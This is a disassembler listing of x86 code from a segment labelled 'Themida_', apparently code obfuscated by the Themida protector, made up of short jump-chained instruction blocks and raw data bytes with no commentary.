		dd 0FF13EFE9h, 6F7BEFFh, 0F0294DA8h, 8124348Bh,	4C4h, 4B700500h
		dd 0D0013390h, 0FF6B26E9h, 4BD768FFh, 3C890000h, 46824h
		dd 55F0000h, 33A87197h,	972DF801h, 5F33A871h, 205h, 24043300h
		dd 33240431h, 248B2404h, 4D36624h, 9DE99C24h
		db 13h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0BD3:				; CODE XREF: Themida_:005A2BBCj
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_5996BD
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 6FE90000h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0BFB:				; CODE XREF: Themida_:00593F82j
		shr	ecx, 7
		jmp	loc_59BD61
; ---------------------------------------------------------------------------
		db 53h
		dd 24BBh, 0E9FB0100h, 0FFFF39FFh, 0E6519568h, 62DCE92Ah
		dd 0C3810000h, 4, 3302C383h, 1C31241Ch,	241C3324h, 6624248Bh
		dd 9C240431h, 42D4E9h, 24048F00h, 0FF24248Bh, 48B2434h
		dd 4EC8324h, 0FF81E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0C4D:				; CODE XREF: Themida_:005A3AB7j
		pop	ebp
		jmp	loc_5968BE
; ---------------------------------------------------------------------------


loc_5A0C53:				; CODE XREF: Themida_:0059D3ACj
		shl	cl, 4
		add	cl, 4Dh
		sub	cl, al
		pop	eax
		xor	cl, bh
		pop	ebx
		add	cl, 1
		not	cl
		jmp	loc_5A4326
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 4Bh
		dd 0BE56CB87h, 0FFFFFFFFh, 875EF129h, 0E9D3F7CBh, 21A0h
		dd 0AE1B76B9h, 3E9C13Eh, 8105E1C1h, 439691F1h, 59C82925h
		dd 2310EE81h, 0C6291713h, 68EAB850h, 0D0F758FDh, 7A16FF35h
		dd 0CE05404Dh, 508D50Dh, 23C59357h, 627BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0CB9:				; CODE XREF: Themida_:0059A6BBj
		sub	ecx, 6B002891h
		jmp	loc_59E5D4
; ---------------------------------------------------------------------------
		dd 70B568h, 4FFEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0CCE:				; CODE XREF: Themida_:0059742Cj
		add	edx, 4
		push	ecx
		jmp	loc_5A5842
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 201765D0h, 0C581D501h, 201765D0h, 914EE957h,	0DBB0FFFFh
		dd 0FFB9FBE9h, 240C31FFh, 8B240C33h, 4202424h, 69E99C24h
		db 12h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0D07:				; CODE XREF: Themida_:0059F9E0j
		mov	[esp], eax
		push	62B0h
		jmp	loc_5A6836
; ---------------------------------------------------------------------------


loc_5A0D14:				; CODE XREF: Themida_:005A628Ej
		shl	esi, 5
		jmp	loc_5A3CE1
; ---------------------------------------------------------------------------
		dd 4C4815Fh, 0E9000000h, 8C5h, 2B5AE981h, 85E9465Fh, 81000057h
		dd 4C4h, 8BF00000h, 0EC812414h,	4, 89241C89h, 4C381E3h
		dd 83000000h, 1C8704C3h, 4CA9E924h, 159FFFFh, 24148BD0h
		dd 4C481h, 4330000h, 24043124h,	8B240433h, 4FE2424h, 0F5E99C24h
		dd 53FFFF11h, 0F988D788h, 59CB885Bh, 55E2E9h, 0DAEE8000h
		dd 148BF100h, 28B2E924h, 58340000h, 0A8E9C230h,	52FFFFC2h
		dd 0FF65B9E9h, 0BD555EFFh, 300E0608h, 12F58145h, 0E9114944h
		dd 0FFFFEDFFh, 8AE9E089h, 0F7FFFF46h, 0F7C381DBh, 0E90ECF1Dh
		dd 0FFFF89E6h, 0E9243433h, 0FFFF3047h, 83243C8Bh, 60E904C4h
		dd 68FFFF56h, 7ABCh, 54240489h,	0E9E95158h, 81FFFF6Ah
		dd 4EBh, 241C8700h, 2414895Ch, 0E99EB353h, 0FFFF605Ah
		dd 3BEA814Ah, 0E9CE0B9Bh, 1884h, 240C8B66h, 15576852h
		dd 0E9540000h, 612Ah, 0E907E7C1h, 0FFFFEFB6h, 0BB3E94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0E2E:				; CODE XREF: Themida_:0059E9FFj
		xor	eax, ecx
		xor	ecx, eax
		jmp	loc_592D4D
; ---------------------------------------------------------------------------
aI4Se		db '‰4$é…]',0
		dw 8B00h
		dd 0C4832404h, 4E2C04h,	0E94E04E8h, 0FFFFD750h,	182DD8F7h
		dd 0C100D832h, 28E907E0h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0E5F:				; CODE XREF: Themida_:0059B773j
		pop	ebp
		inc	edi
		shr	edi, 5
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A35AA
; ---------------------------------------------------------------------------
		db 81h
		dd 8D0131F2h, 0E9D7097Ch, 0FFFFC313h, 0E6FCF581h, 0BE56ECF3h
		dd 6E8E3FF7h, 0CEE9F531h, 89FFFF2Dh, 4C781E7h, 83000000h
		dd 3C8704EFh, 34895C24h, 4EC8124h, 89000000h, 71E92414h
		dd 8BFFFF80h, 0C481242Ch, 4, 5C241487h,	68243C89h, 0F30A1C0h
		dd 5F2434FFh, 4AA268h, 24148900h, 0C2815A54h, 4, 4BE56h
		dd 0AAE90000h, 0B8FFFF75h, 27FD3FBFh, 4763E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A0EED:				; CODE XREF: Themida_:0059AA83j
		push	dword ptr [esp]
		pop	ebx
		push	6C5Bh
		mov	[esp], ebp
		mov	ebp, esp
		push	edx
		push	ebp
		mov	ebp, 2F980C74h
		shl	ebp, 4
		add	ebp, 0D075E4Ch
		shl	ebp, 5
		sub	ebp, 889232F9h
		push	ebp
		pop	edx
		pop	ebp
		shl	edx, 4
		and	edx, 2D443C1Ah
		sub	edx, 504280Ch
		jmp	loc_593441
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6BE35245h, 0BD0BBB53h, 0EE813D68h, 632C664Eh, 0FF8DF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0F41:				; CODE XREF: Themida_:0059BE79j
		mov	esp, [esp]
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1EEF5BF5h
		mov	edx, 2E591FA3h
		shl	edx, 4
		or	edx, 2D424EFCh
		xor	edx, 0F33C8509h
		sub	edx, esi
		jmp	loc_5A6509
; ---------------------------------------------------------------------------
		dd 80C6285Ch, 0EE804AC6h, 24048B4Dh, 4C481h, 51660000h
		dd 0FF7099E9h, 0F1C581FFh, 216D0DF1h, 2434FFE8h, 4C4815Dh
		dd 0FF000000h, 6EE91C77h, 0C1000043h, 0EA8103EAh, 52834B71h
		dd 0FF6D32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0FB1:				; CODE XREF: Themida_:005A6E89j
		mov	[esp], eax
		mov	eax, 3BF64149h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 66166223h
		inc	ebp
		dec	ebp
		inc	ebp
		not	ebp
		jmp	loc_59F4B4
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0C4h
		dd 5EFFFF81h, 2474FF52h, 0FFE95A04h, 89FFFF3Fh,	1EE958C5h
		dd 1000043h, 0CAE959CFh, 8100005Ah, 0DC63C4C5h,	24048B59h
		dd 8104C483h, 4E6DEDh, 0C17EE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A100A:				; CODE XREF: Themida_:0059C428j
		shr	eax, 10h
		jmp	loc_591FD4
; ---------------------------------------------------------------------------


loc_5A1012:				; CODE XREF: Themida_:00595E38j
		push	ebx
		jmp	loc_59CC96
; ---------------------------------------------------------------------------
		dd 240C8B66h, 57E38953h, 2B573EBFh, 0D1684F56h,	0E9000023h
		dd 4D01h, 815AD729h, 382784E7h,	7AEF8163h, 2939BB15h, 0AAD7E9FEh
		dd 0EC83FFFFh, 24148904h, 2DB55166h, 5966EE88h,	5101C680h
		dd 0F180C3B1h, 0DEF180AFh, 51E9CE00h, 8BFFFFB9h, 34FF2424h
		dd 2373E924h, 248BFFFFh, 0EF6E924h, 0ED81FFFFh,	1BBE09F3h
		dd 97E9EE29h, 81000053h, 75D14C2h, 0E9EA8114h, 0E91B6CBFh
		dd 0FFFFBA53h
; ---------------------------------------------------------------------------


loc_5A1098:				; CODE XREF: Themida_:00597CCDj
		not	ebp
		not	ebp
		push	esi
		mov	esi, 16321DC5h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5948DE
; ---------------------------------------------------------------------------
		dw 0F331h
		dd 0FF6689E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A10B9:				; CODE XREF: Themida_:00596333j
		add	ebp, 10964F06h
		pop	esi
		push	51ADh
		mov	[esp], ecx
		mov	ecx, 55512ABEh
		xor	ecx, 454B5673h
		neg	ecx
		add	ecx, 39536A3Dh
		add	ecx, 78184348h
		jmp	loc_5963D5
; ---------------------------------------------------------------------------
		dw 8B5Eh
		dd 0C4832414h, 1C772104h, 8B2434FFh, 8B682434h,	89000004h
		dd 8B54241Ch, 0C481241Ch, 4, 0FF730DE9h, 0BA5256FFh, 17D22AA4h
		dd 0C15AD689h, 0F68108EEh, 5A89DCA6h, 0E95EF009h, 0FFFF6ADEh
		dd 0C381E389h, 4, 8702C383h, 45C241Ch, 2CE80060h, 2AE1E960h
		dd 0E888FFFFh, 3A07E959h, 0BB530000h, 485A30F8h, 355BD801h
		dd 0A742CEF2h, 0E904EC83h, 0FFFFB21Fh, 59870C88h, 312DE95Ah
		dd 87BBFFFFh, 0E90CA91Eh, 0FFFF5DF3h, 0CCE9FD30h, 0F7FFFFA9h
		dd 2BE957DEh, 2DFFFF2Eh, 26D2834Dh, 2A29E9h, 242C8900h
		dd 2BDh, 55B7E900h, 0C6810000h,	4, 5CA1E9h, 7FFABA00h
		dd 0D3895663h, 0FFCE5CE9h, 4EAC1FFh, 4A42CA81h,	0B8504A9Ch
		dd 59FD1CB4h, 0FFC149E9h, 74FF52FFh, 8F5A0424h,	815C2404h
		dd 4C6h, 24343300h, 33243431h, 248B2434h, 24040124h, 0D86E99Ch
		dd 8366FFFFh, 8166FFEFh, 665E3DF7h, 666A3F05h, 2D66F801h
		dd 1BE96A3Fh, 83FFFF41h, 0CDE904C4h, 5CFFFF15h,	0E9240C89h
		dd 5912h, 0FF0D57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1219:				; CODE XREF: Themida_:005A090Aj
		add	eax, edx
		jmp	loc_59DFC4
; ---------------------------------------------------------------------------
aFqfKif1FyhJ	db 'fQf¹Kif1ÏfYh!j',0
		align 10h
		dd 0FFA54FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1235:				; CODE XREF: Themida_:0059EF4Dj
		mov	ebp, 4
		push	ebp
		jmp	loc_592A52
; ---------------------------------------------------------------------------
		dd 0FF0D2BE9h, 81D301FFh, 816DF4EBh, 4F4CE907h,	6855FFFFh
		dd 1D4Ah, 83242489h, 5D042404h,	4C581h,	68530000h, 301Fh
		dd 0B9240C89h, 487A16E5h, 7A16E9BBh, 59CB2948h,	875BDD29h
		dd 248B242Ch, 24148924h, 31FA68h, 24248900h, 0E9E18951h
		dd 0FFFFF455h
; ---------------------------------------------------------------------------


loc_5A1298:				; CODE XREF: Themida_:0059A9AAj
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 7370255Dh
		sub	dword ptr [esp+4], 7955653Ah
		add	[esp+4], ebp
		add	dword ptr [esp+4], 7955653Ah
		add	dword ptr [esp+4], 7370255Dh
		jmp	loc_59C72B
; ---------------------------------------------------------------------------
		dd 76EA815Dh, 0B9358BA7h, 0DB48DA3Ch, 815AD101h, 8A5B8EC9h
		dd 7DF1811Ah, 0E962DE22h, 0D3h
; ---------------------------------------------------------------------------


loc_5A12EC:				; CODE XREF: Themida_:0059F57Ej
		push	eax
		mov	eax, 75EE7DA4h
		neg	eax
		neg	eax
		shr	eax, 6
		neg	eax
		or	eax, 351C77BCh
		push	ebx
		jmp	loc_5A5F39
; ---------------------------------------------------------------------------


loc_5A1306:				; CODE XREF: Themida_:005A6419j
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59F992
; ---------------------------------------------------------------------------
		dw 0D721h
		dd 0BBEF815Ah, 0C11F4B70h, 0EF8102E7h, 65F5682Bh, 938C781h
		dd 0FB896B78h, 15BD555Fh, 0C15B6355h, 0F58104E5h, 438C0623h
		dd 65F5E581h, 0F5810958h, 31D6128Eh, 0FFD6BAE9h, 88BB04FFh
		dd 0E82858C5h, 51240C8Bh, 0C768E189h, 8900002Dh, 4BF243Ch
		dd 1000000h, 0BB535FF9h, 4, 18E9D901h, 29FFFFC9h, 32C181D9h
		dd 5B5CB834h, 8904EC83h, 46BA2414h, 310F5128h, 492DE9D1h
		dd 0B7680000h, 580CA833h, 0FFA814E9h, 5E6C0FFh,	0F5B15166h
		dd 0D0C680h, 0D0EE80CEh, 8C2C5966h, 3F2C0D2Ch, 76E9F000h
		dd 89FFFF25h, 0B95159CAh, 5C7059AEh, 0E959CA29h, 0FFFF6B4Fh
		dd 4C481h, 0C2010000h, 4E1ABD55h, 0C281514Ch, 62DD7859h
		dd 0FF0F24E9h, 88F388FFh, 535A5BDCh, 0E950E788h, 0FFFF3CD1h
		dd 0C7814F5Dh, 612F6DB8h, 265FEF81h, 0FE01C6B6h, 0FF8CC4E9h
		dd 0EC835BFFh, 24148904h, 2CB668h, 24248900h, 0FF186CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1421:				; CODE XREF: Themida_:00594D7Bj
		xor	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_593F5E
; ---------------------------------------------------------------------------
		dw 3429h
		dd 0FF565E24h, 0FDE9240Ch, 5AFFFF84h, 57CBEA81h, 295F0ABEh
		dd 933BE9DAh, 1605FFFFh, 565F556h, 37935C31h, 83243C8Bh
		dd 43304C4h, 24043124h,	8B240433h, 40E92424h, 5B00005Ah
		dd 0E902C083h, 3948h, 895DE801h, 0ACE958C6h, 0B3FFFF52h
		dd 5BD80037h, 0C680D234h, 0E950664Dh, 0FFFF4FDFh, 4240481h
		dd 58000000h, 4ABA68h, 24348900h, 53264BEh, 0C718E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A14AA:				; CODE XREF: Themida_:0059257Aj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59F851
; ---------------------------------------------------------------------------
		db 51h,	88h, 0D5h
		dd 0FF59EF88h, 515A2434h, 0C181E189h, 4, 8704C183h, 0E95C240Ch
		dd 0FFFFD517h
; ---------------------------------------------------------------------------


loc_5A14D4:				; CODE XREF: Themida_:005A34BEj
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 2D1C48F5h
		shr	edx, 1
		jmp	loc_599C37
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFF9A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A14ED:				; CODE XREF: Themida_:005A35D6j
		add	edi, ecx
		pop	ecx
		jmp	loc_5970BB
; ---------------------------------------------------------------------------
		db 0B8h, 0F1h, 23h
		dd 105492Dh, 40000000h,	0FFA0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1505:				; CODE XREF: Themida_:005A26B7j
		mov	eax, [esp]
		add	esp, 4


loc_5A150E:				; CODE XREF: Themida_:005988D9j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 74CA4421h
		jmp	loc_59EB96
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF837Ch
; ---------------------------------------------------------------------------


loc_5A152C:				; CODE XREF: Themida_:005A356Fj
		push	4C9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A1814
; ---------------------------------------------------------------------------


loc_5A153D:				; CODE XREF: Themida_:0059EE80j
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	edi, edx
		pop	edx
		jmp	loc_5981FD
; ---------------------------------------------------------------------------
		db 5, 95h, 44h
		dd 15A3CC1h, 318805C8h,	0C8B1E9Ch, 4C48324h, 0FF966EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1565:				; CODE XREF: Themida_:0059AEC2j
		mov	ecx, 4
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_593E87
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFF56Eh
; ---------------------------------------------------------------------------


loc_5A1594:				; CODE XREF: Themida_:005A1F71j
		sub	bl, al
		push	small 6018h
		mov	[esp], ax
		jmp	loc_592C05
; ---------------------------------------------------------------------------


loc_5A15A3:				; CODE XREF: Themida_:00594978j
		mov	ecx, edx
		pop	edx
		add	ecx, edi
		jmp	loc_5A505C
; ---------------------------------------------------------------------------
		db 0B6h, 0BCh, 50h
		dd 0C588F9B0h, 5AF52858h, 0C8BEE08h, 4C48324h, 0FF5A1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A15C5:				; CODE XREF: Themida_:005975A9j
		pop	ebx
		push	edx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_595C25
; ---------------------------------------------------------------------------
		dd 0F6E68h, 9CA6E900h, 0E952FFFFh, 0FFFFE41Ah
; ---------------------------------------------------------------------------


loc_5A15E0:				; CODE XREF: Themida_:005986C8j
		add	edi, esi
		sub	edi, 72A57CEBh
		jmp	loc_595356
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 0ED57E9E3h, 0C481FFFFh, 4, 4BD55h, 0EE010000h
		dd 39E6685Dh, 4890000h,	54E95724h, 8FFFF7Fh, 0C8FE5AF0h
		dd 6866D0F6h, 4280000h,	24048A24h, 0D4CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A162D:				; CODE XREF: Themida_:005A3643j
		push	edx
		push	eax
		mov	eax, 7DA05CDEh
		mov	edx, 2FE193C3h
		add	edx, eax
		jmp	loc_5A0187
; ---------------------------------------------------------------------------
		dd 2C31E959h, 1487FFFFh, 39E95C24h, 5EFFFF7Eh, 348BF329h
		dd 4C48124h, 56000000h,	2A72A568h, 26F2E904h, 1CBBFFFFh
		dd 313D19BBh, 0EA315BDAh, 81242C8Bh, 4C4h, 0D0895000h
		dd 0FFF962E9h, 86C181FFh, 1046243h, 7743E9F1h, 74FFFFFFh
		dd 8F590424h, 535C2404h, 0FFCB9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A169D:				; CODE XREF: Themida_:0059A9EEj
		mov	eax, esi
		jmp	loc_594F07
; ---------------------------------------------------------------------------


loc_5A16A4:				; CODE XREF: Themida_:0059E42Dj
		push	edi
		mov	edi, ebp
		jmp	loc_5994F4
; ---------------------------------------------------------------------------


loc_5A16AC:				; CODE XREF: Themida_:00598083j
		pop	ebp
		jmp	loc_59BA22
; ---------------------------------------------------------------------------


loc_5A16B2:				; CODE XREF: Themida_:00594875j
		pop	edx
		add	ebp, ecx
		jmp	loc_5991CA
; ---------------------------------------------------------------------------


loc_5A16BA:				; CODE XREF: Themida_:0059EACAj
		push	344E0319h
		pop	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		sub	edx, 5E07FC9h
		inc	edx
		xor	edx, 0D8E54123h
		jmp	loc_5A57C0
; ---------------------------------------------------------------------------
		db 0BDh
		dd 0F8B6ACCh, 15E9EF01h, 1FFFFFDh, 0D9015FF9h, 8AFE981h
		dd 295B7339h, 60E981D1h, 8B39D518h, 0C4832414h,	74FF5104h
		dd 0C8B0424h, 4EC8124h,	89000000h, 0E589242Ch, 0FF10F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1715:				; CODE XREF: Themida_:005A27FBj
		push	edx
		jmp	loc_59EE0F
; ---------------------------------------------------------------------------
		db 29h
		dd 0BAFE9EBh, 1487FFFFh, 14895C24h, 68CA8924h, 7904h, 81241489h
		dd 11FA242Ch, 0E1E970F4h, 0B6FFFF40h, 0A2BFE991h, 2966FFFFh
		dd 0E99C2404h, 0FFFF0820h
; ---------------------------------------------------------------------------


loc_5A1750:				; CODE XREF: Themida_:005A1AA4j
		mov	edi, [esp]
		jmp	loc_597281
; ---------------------------------------------------------------------------
		dd 8247429h, 8244481h, 78B13F6Ch, 0FFE401E9h, 0E4B850FFh
		dd 295C7876h, 0FA0158C7h, 0E389535Fh, 0FF2C6FE9h, 15A5DFFh
		dd 5237E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A1786:				; CODE XREF: Themida_:00592C08j
		mov	al, ch
		pop	ecx
		jmp	loc_59D0B1
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 0FFAC47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1795:				; CODE XREF: Themida_:005A071Cj
		not	ebp
		xchg	ebp, [esp]
		pop	ebx
		xchg	ebx, [esp]
		mov	eax, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_596313
; ---------------------------------------------------------------------------


loc_5A17B1:				; CODE XREF: Themida_:0059EC40j
		mov	ebx, esp
		push	ebp
		jmp	loc_5A1B71
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FF2AB0E9h, 241CF6FFh, 7A6E99Ch, 2D5CFFFFh, 2BDE44D7h
		dd 0D4602D2Dh, 5D00119h, 19D4602Dh, 0FF6431E9h,	5DE901FFh
		dd 294568h, 242C8900h, 697CE6BDh, 2978E96Ch, 0E883FFFFh
		dd 2D4FE904h, 0E95BFFFFh, 0FFFF64F3h
; ---------------------------------------------------------------------------


loc_5A1804:				; CODE XREF: Themida_:005A56E5j
		push	4550193Eh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59E5CC
; ---------------------------------------------------------------------------


loc_5A1814:				; CODE XREF: Themida_:005A1538j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		jmp	loc_59745B
; ---------------------------------------------------------------------------
		dd 12E4E959h, 0D001FFFFh, 7080405h, 28BF6822h, 14890000h
		dd 737BBA24h, 0D32D34E6h, 1193E4Dh, 4DD305D0h, 0ACE9193Eh
		dd 81FFFF1Ch, 7B7FE4C6h, 8BF001F5h, 0D8682434h,	89000022h
		dd 0E6892434h, 0E904EC83h, 0FFFF4DA4h, 8B24048Fh, 0FBE92424h
		dd 0FFFF2Dh, 240C8BE8h,	5904C483h, 0E904EC83h, 0FFFF077Ah
		dd 6EC0BB5Ch, 0F3312F70h, 7369E95Eh, 0B951FFFFh, 6AC13094h
		dd 0CEE9C889h, 81FFFF10h, 4E9h,	240C8700h, 2404895Ch, 42474FFh
		dd 0E924048Bh, 0FFFF2857h, 0EFF38143h, 81024135h, 88BE1BC3h
		dd 0B253E9CDh, 0E181FFFFh, 2C21099Fh, 0A65E981h, 0CA317D86h
		dd 5BDA0159h, 0C052E805h, 1BF32D58h, 0D001220Dh, 0D1BF305h
		dd 52E82D22h, 148B58C0h, 4C48124h, 0E9000000h, 0FFFF93E0h
; ---------------------------------------------------------------------------


loc_5A1904:				; CODE XREF: Themida_:00599904j
		sub	[esp+8], ecx
		jmp	loc_59B1BC
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0B0h
		dd 45BF800h, 11B2523Dh,	0D8B15150h, 80ECE180h, 3CE970F1h
		dd 8800000Eh, 7AE95BD8h, 58FFFF5Dh, 8904EC83h, 0E954241Ch
		dd 0FFFF5042h, 0E9240C89h, 9E9h, 18F5F581h, 0DDF74B3Fh
		dd 0F74DE5D1h, 5D10E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1956:				; CODE XREF: Themida_:005A65F5j
		push	esp
		jmp	loc_5A5BAA
; ---------------------------------------------------------------------------
		dd 305F68h, 24248900h, 0FF0E03E9h, 665666FFh, 84242C81h
		dd 1C8B6673h, 2C48124h,	66000000h, 7384C381h, 0FF1493E9h
		dd 74DF68FFh, 8EE90000h, 5AFFFFD2h, 5D2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59B220
; ---------------------------------------------------------------------------
		dd 213BEA81h, 0F8E932A7h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A19B7:				; CODE XREF: Themida_:0059ED8Dj
		push	eax
		jmp	loc_5A41E1
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 123FA004h, 24540102h, 24448104h, 123FA004h, 48B5A02h
		dd 4C48124h, 56000000h,	0FFDF27E9h, 0DAF742FFh,	0E9FFC283h
		dd 37BBh
; ---------------------------------------------------------------------------


loc_5A19EC:				; CODE XREF: Themida_:005A6AF3j
		pop	edx
		mov	bh, ah
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5A329B
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 668AEF81h, 0EF0155E3h, 668AC781h,	34FF55E3h, 0C4835D24h
		dd 11056804h, 3C890000h, 2474FF24h, 0DEDAE904h,	315FFFFFh
		dd 24348BF0h, 0FF0BFEE9h, 243489FFh, 186F68h, 8AB6E900h
		dd 0C189FFFFh, 0E924048Bh, 5F1h, 7876E8BFh, 0FD17E95Ch
		dd 0ED81FFFFh, 14814104h, 0FEE9EE01h, 0C100003Dh, 0F5E907E8h
		dd 89FFFFD2h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2404895Ch
		dd 68555854h, 5C515345h, 41F5815Dh, 2D5C5153h, 6D1A64AFh
		dd 0FF73D4E9h, 0E9D309FFh, 14B7h
; ---------------------------------------------------------------------------


loc_5A1A9C:				; CODE XREF: Themida_:0059FB65j
		sub	edi, 3D3FFFE2h
		add	ebx, edi
		jmp	loc_5A1750
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F7h
		dd 8963FF3Bh, 243C8BF9h, 0FF2985E9h, 4C483FFh, 0EA81C201h
		dd 54F63238h, 0FF8ECEE9h, 32FF64FFh, 0FF049FE9h, 34FF54FFh
		dd 241C8B24h, 8304C483h, 0C38104C4h, 4,	3D9068h, 5043E900h
		dd 0B951FFFFh, 72FE27ADh, 147C68h, 241C8900h, 1680BF57h
		dd 0FB896FA0h, 32E9815Fh, 0E95CB834h, 0FFFFF86Bh
; ---------------------------------------------------------------------------


loc_5A1B10:				; CODE XREF: Themida_:0059ED98j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 0F7106DDh
		sub	edi, 75170A2Bh
		neg	edi
		jmp	loc_593409
; ---------------------------------------------------------------------------


loc_5A1B2F:				; CODE XREF: Themida_:0059D95Aj
		shl	ebp, 7
		dec	ebp
		add	ebp, 2574025Fh
		add	esi, ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_5A65C9
; ---------------------------------------------------------------------------
		dd 0EC81555Bh, 4, 68243C89h, 6FCB6F3Bh,	3E7C15Fh, 0F7C7814Fh
		dd 53A49AE6h, 0DD89FB89h, 0C5815F5Bh, 53AB7898h, 0FF3CDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A1B71:				; CODE XREF: Themida_:005A17B4j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ebx, 64DB0260h
		push	ecx
		mov	ecx, 6827EABh
		add	ebx, ecx
		pop	ecx
		add	ebx, ebp
		sub	ebx, 6827EABh
		push	edx
		mov	edx, 140155ACh
		neg	edx
		neg	edx
		inc	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 33C9284Bh
		sub	edx, ebx
		jmp	loc_5925F7
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4F7233EFh, 8F4E781h,	0EC810055h, 4, 0BD242C89h, 59CF56C2h
		dd 0E95DEF09h, 0FFFF9734h, 2EC8359h, 240C8966h,	12454F6h
		dd 68665966h, 2C280000h, 242C8A24h, 8002C483h, 0EE2838F5h
		dd 6AB15159h, 0C6C680h,	0C6EE80CEh, 37AFE9h, 9C506600h
		dd 0FF034BE9h, 0D08966FFh, 0FFCE46E9h, 240489FFh, 42474FFh
		dd 0FFB778E9h, 55EE81FFh, 31066B65h, 2434FFCEh,	55E95359h
		dd 5FFFFFC4h, 3965E9h, 241C8900h, 0FF235FE9h, 0B60F66FFh
		dd 9C5166C8h, 0FF030BE9h, 4EC81FFh, 89000000h, 0E4B82404h
		dd 291CB04Bh, 58082444h, 2404815Dh, 3A6E37C7h, 152768h
		dd 97B7E900h, 0E951FFFFh, 0FFFF7EE7h
; ---------------------------------------------------------------------------


loc_5A1C90:				; CODE XREF: Themida_:00593874j
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 67EB0E4Eh
		jmp	loc_59F6DA
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 5AAB951h, 10E93C0Ch
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A1CB7:				; CODE XREF: Themida_:005A3CA9j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
